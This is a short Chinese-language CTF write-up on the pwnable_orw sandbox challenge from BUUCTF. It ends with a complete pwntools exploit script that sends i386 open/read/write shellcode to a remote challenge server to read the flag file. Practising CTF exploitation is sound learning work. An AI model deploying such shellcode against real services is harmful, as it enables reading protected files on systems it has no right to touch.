沙箱初体验(pwnable_orw)
确实很新奇嗷,照着buu上题目顺序来做,没想到这么快就接触到了沙箱的题目,而我堆都还没玩明白
那废话不多说,先来看看文件吧。这时候问题就出现了,不知道为啥就被拦下了,附件不让下载。

xs,只好去网上找dalao们写的博客,好巧不巧就发现了这是个沙箱的题目。
于是只好拿网上的图片来看

搞懂了基本原理,那就实操一下,只能利用open、read、write三个函数来读取flag。
看完dalao的博客,真的学到了,居然还有这样的方法来拿flag,哈哈哈哈哈哈

最后脚本附上一跑,就真成了(我是二傻子)
exp
#!/usr/bin/python2
#coding=utf-8
from pwn import *
from LibcSearcher import *
context(os = "linux", arch = "i386", log_level= "debug")
p = remote("node4.buuoj.cn", 27261)
shellcode = asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80')
shellcode+=asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100;int 0x80')
shellcode+=asm('mov eax,0x4;mov ebx,0x1;int 0x80')
p.sendlineafter('shellcode:', shellcode)
p.interactive()